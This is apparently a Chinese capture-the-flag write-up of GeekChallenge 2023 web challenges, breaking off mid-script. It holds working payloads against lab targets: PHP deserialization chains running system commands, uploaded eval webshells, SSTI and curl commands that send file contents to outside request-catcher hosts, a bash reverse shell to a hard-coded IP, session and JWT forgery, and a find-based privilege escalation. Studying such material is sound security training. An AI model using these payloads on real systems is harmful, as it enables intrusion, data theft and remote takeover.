geekweb


geekchallenge2023

unsign

题目描述:

1
来签个到吧先

开启环境

简单php反序列化。构造链子:

1
syc::__destruct()->lover::__invoke()->web::__get()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}

class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}

}

class web
{
public $eva1;
public $interesting;

public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}

//syc::__destruct()->lover::__invoke()->web::__get()

$a=new syc();
$a->cuit=new lover();
$a->cuit->yxx=new web();
$a->cuit->yxx->eva1='system';
$a->cuit->yxx->interesting='tac /*';

echo serialize($a);

?>

php在线运行得到

payload:

1
url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:6:"tac /*";}s:2:"QW";N;}}

hackbar传参得到flag

最后flag为

1
GEEK{524f4fcb-a468-443e-b2ea-58283eec7bf9}

n00b_Upload

题目描述:

1
{"type":"doc","content":[{"type":"heading","attrs":{"level":4},"content":[{"type":"text","text":""扎古,扎古❤“"}]}]}

开启环境

文件上传,先简单上传一个木马试试

限制了 conten-type ⽂件头 和⽂件内容不能带php

抓包修改文件类型

发现已经写马成功,直接蚁剑连接

找到flag

最后flag为

1
GEEK{f677f910-d4ca-4325-8561-e5fa89aa6b57}

easy_php

题目描述:

1
学了php了,那就来看看这些绕过吧

开启环境

php层层绕过,

第⼀个绕过:要求我们既要给 syc 赋值 Welcome to GEEK 2023! ,但是⼜⽤正则绕过了这串字符 这⾥我们可以⽤空格%20来绕过

1
?syc=welcome%20to%20GEEK%202023!

第⼆个绕过: inval() 函数⽤来匹配整数,我们的参数 lover ,得⼩于2023,加⼀之后⼜要⼤于2024,科学计数法绕过

1
?syc=welcome%20to%20GEEK%202023!&lover=1e9

第三个绕过:sha1碰撞绕过

参考:

ctf中强md5及sha1碰撞绕过(字符串string型)_ctfsha1强碰撞-CSDN博客

1
qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

第四个绕过:这个php版本中,变量名中出现 . 时,会把 . 转换为 _ ,这⾥有个特性,如果参数中出现中括号 [ ,中括号会被转 换成下划线 _ ,但是会出现转换错误导致接下来如果该参数名中还有⾮法字符(⽐如 . )就不会继续转换成下划线 _

1
2
3
4
?syc=welcome%20to%20GEEK%202023!&lover=1e9


qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&SYC[GEEK.2023=1&SYC[GEEK.2023=Happy to see you!

最后flag为

1
GEEK{246a32ca-6206-47b2-a0ed-675a07b62306}

ctf_curl

题目描述:

1
命令执行?真的吗?

开启环境

使用无回显RCE中的http 信道带出文件内容

1
?addr=u64n8bed.requestrepo.com -T /tmp/Syclover

最后flag为

1
GEEK{5bf46309-11a8-4ee5-99f1-d27c78fcf096}

klf_ssti

题目描述:

1
De1ty的广东朋友跟女神表白被骂klf,现在气急败坏,你知道klf是什么意思嘛?他现在依旧觉得他不是klf你们才是,你能拿到flag证明他是klf嘛…

开启环境

查看源码得到目录

访问/hack

传参klf=1试试

传入什么都是返回这个,尝试传入klf={{试试

猜测是无回显外带ssti

1
klf={{config.__class__.__init__.__globals__['os'].popen('curl+mjycyk8v.requestrepo.com/?=`ls /app/f*`').read()}}

得到flag路径

读取flag

1
klf={{config.__class__.__init__.__globals__['os'].popen('curl+mjycyk8v.requestrepo.com/?=`tac /app/fl4gfl4gfl4g`').read()}}

最后flag为

1
GEEK{6109e4a6-d339-4b06-8769-e8828fad3faa}

ez_remove

题目描述:

1
我想要回炉重造一波,怎么说,难道你不想吗

开启环境

十六进制

表示字符类型的s大写为S时,会被当成16进制解析

1
O:3:"syc":2:{S:5:"\6c\6f\76\65\72";s:64:"file_put_contents('./muma.php','<?php eval($_POST["aaaa"]);?>');";}

蚁剑连接

终端命令查看flag

最后flag为

1
GEEK{2d484caa-8b45-4eaf-a1b8-418899f3504b}

ez_path

题目描述:

1
快来join我的博客吧!

开启环境

pyc⽂件反编译出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.6

import os
import uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:

def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content



def generate_article_id():
return str(uuid.uuid4())


def index():
return render_template('index.html', articles, **('articles',))

index = app.route('/')(index)

def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
return None('upload.html')

upload = app.route('/upload', [
'GET',
'POST'], **('methods',))(upload)

def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as file:
content = file.read()
return render_template('articles.html', sanitized_title, content, article_path, **('title', 'content', 'article_path'))

return render_template('error.html')

article = app.route('/article/<article_id>')(article)

def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as file:
file.write(content)


def sanitize_filename(filename):
sensitive_chars = [
':',
'*',
'?',
'"',
'<',
'>',
'|',
'.']
for char in sensitive_chars:
filename = filename.replace(char, '_')

return filename

if __name__ == '__main__':
app.run(True, **('debug',))

发现路径拼接漏洞函数 os.path.join ⻚⾯注释出了flag⽂件的⽂件名

查看源码

直接在发表⽂章title那⾥ /f14444

查看文章得到flag

最后flag为

1
GEEK{79a67c7b-59b1-4b78-a5f4-6220fa7646f6}

you konw flask?

题目描述:

1
在驾校你不高低得当个教练?

开启环境

有注册和登录功能 注册后登录进去

想当教练,则通过flask session伪造教练⾝份 密钥要去找,最终是在/robots.txt下找到/3ysd8.html路由得到


访问/3ysd8.html得到session密钥生成方式

爆破session密钥
exp:

1
2
3
4
5
6
import base64
g = open('E:\\脚本合集\\赛题脚本\\geekchallenge2023\\web\\dict.txt','wb')
for i in range(100):
key = b'wanbao'+base64.b64encode(str(i).encode())+b'wanbao'
g.write(key)
g.write(b'\n')

flask-unsign工具解密session

1
flask-unsign --unsign --cookie 'eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJxaW5nIiwidXNlcl9pZCI6Mn0.Z0kMAw.RFZhB4b5oIKZ2MpdrNlvAFuqdpE' --wordlist dict.txt

flask-unsign工具伪造session

1
flask-unsign --sign --cookie "{'is_admin': True, 'name': 'qing', 'user_id': 2}" --secret 'wanbaoOTA=wanbao'

替换新cookie,以admin身份拿到flag

在/houtai得到flag

最后flag为

1
GEEK{e3e42998-2062-43ef-91ba-c4fd4ecce950}

Pupyy_rce

题目描述:

1
这是什么?执行一下

一眼无参RCE

过滤了env|var|session|header

1
2
3
4
array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。

array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。

直接随机读文件,多发几次

1
?var=highlight_file(array_rand(array_flip(scandir(getcwd()))));

最后flag为

1
GEEK{cf0a9177-84b4-406b-b14a-cb8828a849f3}

flag保卫战

题目描述:

1
管理员为了flag不被发现,一顿操作后,自己都不知道访问的密码了 QAQ

开启环境

查看⽹⻚源码,发现访客密码 123456,发现 api 接⼝ /flag?pass=

随意使⽤⽤户名,a,密码 123456 进⾏登录尝试

通过后台提⽰信息可知,有⼀个管理员⽤户,获取 flag 的密码是四个⽂件内容相连,推测存在越权,并且能够覆盖管理员设置的⽂ 件,也就是重置密码

随便上传一个文件试试

后缀自动改成了.key,抓包看看

上传的数据包中,发现了 JWT 进⾏鉴权以及⼀个 yak-token 的上传字段,先尝试解析读取 JWT 信息,发现使⽤了弱密码,⽤户为 a,使⽤弱密码进⾏管理员账户的 JWT Token 伪造

jwt密钥就是password的密码123456,虽然password的初始jwt+密码123456无法通过验证,但是我们验证admin身份还是需要?pass=四个文件内容=admin密码+用户admin,密钥admin密码aaaa的jwt

借用大佬jay17师傅脚本

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import json
import requests
import threading

#靶机地址
url = "http://8089-a5740240-51b4-466d-b76a-d7fb795cb7d7.challenge.ctfplus.cn/"

session = requests.session()

# 往下两行的filename是表单字段名,抓包获得。
file = {
'filename': ('1.txt', '1', 'text/plain') # 请求头Content-Type字段对应的值,手动抓的包里面看
}

#password用户登录的jwt,自己修改成admin用户,jwt密钥还是123456不变
jwttoken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyODkwNzIwfQ.9pc8FSoM-OcXEL6GoXxqDk-QgfoT6ZY4EOVnj1kS1NE'




# 写文件方法,不停的写,burp代理(proxies)可以看看请求包(极客不给抓包,其他比赛可以)
def write():
while True:
# 获取动态csrf密钥
r = session.get(url=url + "/new-csrf-token",
cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"})
print(r.text)
csrf = r.text
# 上传文件
data = {'yak-token': csrf}
r = session.post(url=url + "/upload", data=data, files=file,
cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"})
print(r.text)


# 读文件列表、自动登录验证
def read():
while True:
# 读取文件
r = session.get(url=url + "/file-list", cookies={'jwt-token': jwttoken}) # ,proxies={"http":"127.0.0.1:8080"})
print(r.text)

#登录验证
#jwt是admin用户,jwt密钥是四个文件连起来内容1111
r=session.get(url=url + "/flag?pass=aaaa", cookies={'jwt-token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNzMyODkwNzU5fQ.gEPqOWYwkY45zpSKG9aIeGVTjd-zU3xvGMHl7yq6hSQ'})
print()
print(r.status_code)
# print(r.headers)
# print(r.cookies['jwt-token'])
# print(r.cookies)
print(r.text)



# 双线程,不停写不停读和验证
threads = [threading.Thread(target=write), threading.Thread(target=read)]

for t in threads:
t.start()

雨(这题真好)

题目描述:

1
VanZY给白月光写了一张明信片,快去帮他把id签上吧

开启环境

提示有/source,直接访问

查看源码,发现/hint目录

提示我们不是admin用户,应该是需要伪造admin身份

抓包看看

看到cookie,jwt解密

jwt加密,改为admin用户,密钥为VanZY(根据题目描述猜测出题人名字为密钥)

替换cookie得到/source源码

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
var Super = {};
var safecode = function (code) {
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};
app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep: true});
}
res.send("welcome to code");
});
app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});
app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret, function (err, decoded) {
try {
if (decoded.user === 'admin') {
res.sendFile(path.join(__dirname + '/index.js'));
} else {
res.send('you are not admin ');
}
} catch {
res.send("Fuck you Hacker!!!")
}
});
});
app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null) {
res.send("please input name");
} else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
} else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
} else {
res.render('index', {name: req.body.name});
}
}
}
});
app.get('/', (req, res) => {
res.type('html');
var token = jwt.sign({'user': 'guest'}, jwt_secret, {algorithm: 'HS256'});
res.cookie('auth ', token);
res.end('Only admin can get source in /source');
});
app.listen(3000, () => console.log('Server started on port 3000'));

关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
var safecode = function (code) {       //过滤函数
//使用了 i(不区分大小写)和 g(全局搜索)标志
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};

app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
//污染基类入口
putil_merge({}, req.body, {deep: true});
}
res.send("welcome to code");
});

app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null) {
res.send("please input name");
} else {
if (Super['userrole'] === 'Superadmin') {
//渲染,原型链污染造成命令执行,反弹shell
res.render('index', req.body);
} else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
} else {
res.render('index', {name: req.body.name});
}
}
}
});

参考

Depy’s docs

Node.js原型链污染的利用 - FreeBuf网络安全行业门户

putil-merge这个库存在原型链污染的CVE

原型链污染在code路由

payload:

1
2
3
4
POST /code
Content-Type: application/json

{“constructor”:{“prototype”:{“userrole”:”Superadmin”}}}

将Super[‘userrole’]污染为Superadmin

参考

ejs RCE CVE-2022-29078 bypass | inhann’s blog

进入 /create 路由内,esj模板注入反弹shell

Payload:

1
2
3
4
5
6
7
8
{"name":"123",
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require(\"child_process\").execSync(\"bash -c \\\"bash -i > /dev/tcp/156.238.233.48/7777 0>&1 2>&1\\\"\");",
"client":"true"
}
}
}

找到flag

最后flag为

1
SYC{Chun_a1_M4n_NeVer_G1ve_Up}

famale_imp_l0ve

题目描述:

1
雌小鬼看了下o2takuXX师傅的马子说:呐~就..就怎么长吗,真是杂鱼呢~❤  你能来帮帮他吗

开启环境

随便上传一个文件试试

提示只能上传zip文件,上传一个试试

查看源码,发现一个包含功能的文件/include.php

访问/include.php

参考

文件包含之——phar伪协议_phar协议-CSDN博客

phar://协议读取

上传一个zip文件,包含木马

1
<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ?>');

蚁剑连接

find提权

1
find /etc/passwd -exec cat /flag \;

最后flag为

1
SYC{ThE_RCe_is_S0_Eas1ly_DD!}

ez_php

题目描述:

1
我的女神呢?快帮我找找

开启环境

点击链接跳转源码界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
public $qwe;
public $bro;
public $secret;

public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;

if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}

else{
echo("错了哥们,再试试吧<br>");
}
}

}

class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}

public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];

if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
else{
echo("兄弟怎么搞的?<br>");
}
}
}

class important{
public $power;

public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}

class useless {
private $seeyou;
public $QW;
public $YXX;

public function __construct($seeyou) {
$this->seeyou = $seeyou;
}

public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);

if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;

if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');

if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}

if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
?> 快帮我找找她!

参考

PHP原生类在Web安全中的利用总结

先读key.php

payoad:

1
/havefun.php/key.php?user=C:11:%22ArrayObject%22:196:{x:i:0;O:7:%22useless%22:2:{s:2:%22QW%22;s:64:%22M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2%22;s:3:%22YXX%22;s:64:%22M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2%22;};m:a:0:{}}&a=PHP_SELF

查看源码

base转图片

利用data伪协议绕过+原生类读取文件

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
get:
?user=C%3A8%3A%22SplStack%22%3A356%3A%7Bi%3A6%3B%3AO%3A2%3A%22Me%22%3A3%3A%7Bs%3A
3%3A%22qwe%22%3BO%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BO%3A9%3A%22import
ant%22%3A1%3A%7Bs%3A5%3A%22power%22%3BO%3A7%3A%22useless%22%3A3%3A%7Bs%3A15%3A%2
2%00useless%00seeyou%22%3Ba%3A1%3A%7Bs%3A6%3A%22seeyou%22%3Ba%3A2%3A%7Bi%3A0%3BO
%3A3%3A%22her%22%3A3%3A%7Bs%3A3%3A%22asd%22%3BN%3Bs%3A12%3A%22%00her%00hername%2
2%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00key%22%3Bs%3A1%3A%229%22%3B%7Di%3A1
%3Bs%3A4%3A%22find%22%3B%7D%7Ds%3A2%3A%22QW%22%3BN%3Bs%3A3%3A%22YXX%22%3BN%3B%7D
%7Ds%3A12%3A%22%00her%00hername%22%3Bs%3A4%3A%22momo%22%3Bs%3A8%3A%22%00her%00ke
y%22%3Bs%3A1%3A%229%22%3B%7Ds%3A3%3A%22bro%22%3BN%3Bs%3A6%3A%22secret%22%3BR%3A1
8%3B%7D%7D&file=data://text/plain,loveyou&fun=./

post:
ctf=FilesystemIterator

读取flag

访问flag_my_baby.php得到flag

最后flag为

1
GEEK{f52a7a9c-bc89-439d-b342-f322be7b9c3f}

klf_2

题目描述:

1
可恶,我不信,我绝对不是klf,你们才是,哈哈这次我卷土重来了,你们肯定是klf,我要向女神证明自己…

开启环境

查看源码

访问/robots.txt

访问/secr3ttt

查看源码

/secr3ttt路由GET传参klf

猜测存在ssti

懒得fuzz

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set pp=dict(po=a,p=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set so=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set xhx=(lipsum|string|list)|attr(pp)(18) %}
{% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %}
{% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set sp=char(32)%}
{% set d=char(47)%}
{% set op=(dict(ls=a)|join,sp,d,dict(ap=a,p=a)|join)|join %}
{% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %}
{%print(f)%}

读取fl4gfl4gfl4g得到flag

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set pp=dict(po=a,p=a)|join%}
{% set ppe=dict(po=a,pen=a)|join%}
{% set gt=dict(ge=a,t=a)|join%}
{% set so=dict(o=a,s=a)|join %}
{% set rd=dict(re=a,ad=a)|join%}
{% set xhx=(lipsum|string|list)|attr(pp)(18) %}
{% set gb=(xhx,xhx,dict(glob=a,als=a)|join,xhx,xhx)|join %}
{% set bin=(xhx,xhx,dict(buil=a,tins=a)|join,xhx,xhx)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set char=(lipsum|attr(gb))|attr(gt)(bin)|attr(gt)(cr) %}
{% set sp=char(32)%}
{% set d=char(47)%}
{% set op=(dict(c=a,at=a)|join,sp,d,dict(ap=a,p=a)|join,d,dict(fl4gfl4gfl4g=a)|join)|join %}
{% set f=(lipsum|attr(gb))|attr(gt)(so)|attr(ppe)(op)|attr(rd)() %}
{%print(f)%}

最后flag为

1
GEEK{f637e118-2805-4930-93b0-47e9d779fdc3}

scan_tool

题目描述:

1
nmap也太好用了!不是吧,你还不会用吗?

开启环境

参考

[BUUCTF 网鼎杯 2020 朱雀组] Nmap_[网鼎杯 2020 朱雀组]nmap-CSDN博客

禁⽤了常规的⼀些参数,写马不行,escapeshellcmd和escapeshellarg连用-iL-oN等参数用不了

尝试–excludefile读取文件

payload:

1
' --excludefile /flag -oA syc '

然后读res.xml或res.nmap得到flag

最后flag为

1
GEEK{12fe81c5-c0cf-4a92-897c-1ef1e5b175b1}

ezrfi

题目描述:

1
亲爱的Syclover,你能找到flag吗????

开启环境

先传/var/hint,读取hint.py,得到源码

base解密

1
Ö.o owO 0w0 ov0 Öwo O.o 0.0 0.o Öv0 0vÖ Ov0 OwÖ o.O ÖvO 0_0 0_O o.O 0v0 Ö_o Owo ÖvO Ö.O Ö_0 O.O Ö_0 0vÖ 0.0 ÖvÖ Öw0 OvÖ Öv0 O_Ö ÖvO Ö.O Öw0 owÖ Ö.o O.o Ö_0 0vÖ Öwo OwÖ O.o OwO o_o Ö.O o.o owO Ö_0 owO Ö_0 0vo o.O OwÖ Ovo 0.Ö Öv0 O.Ö 0.0 0wÖ o.Ö owo ow0 0vo Ö.o owO o_0 Ö.O o_o OwÖ O.o ow0 Ö_o owo Ö.0 ÖvO o_O O.Ö Ov0 Ow0 o.Ö 0v0 Ov0 O_O o.O OvÖ Öv0 Ö_0 Öwo owO O_o OwÖ o.O ÖvO o.0 0_0 Ö_o owO O_0 0.Ö Ö.o O.O Ow0 O_o Öv0 ow0 Öv0 O_0 Övo ÖvÖ Ö_o 0_Ö Övo ÖvÖ 0w0 OvÖ Ö.o Ö.0 Ö.o ovo Ö.0 Ö.0 0wo owO o.O 0wÖ 0v0 owÖ Öw0 Ö.o 0w0 O_Ö o_O Övo

尊嘟假嘟解密

1
Shy0JhFpsi+njV0IfFfzS44KIcwPFg312qo6gfdk0+DzcoMdSgVs15cERxpqnPJh4Y3b3i/mcbkPlHGTIA6/A8CQU8UX6j9w5HKy

rc4解密

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import requests

url = "http://80-a42038f3-2119-4ff9-9665-ad26cb9cb6eb.challenge.ctfplus.cn/index.php"
#可以读取到的文件
file_to_use = "/var/hint"
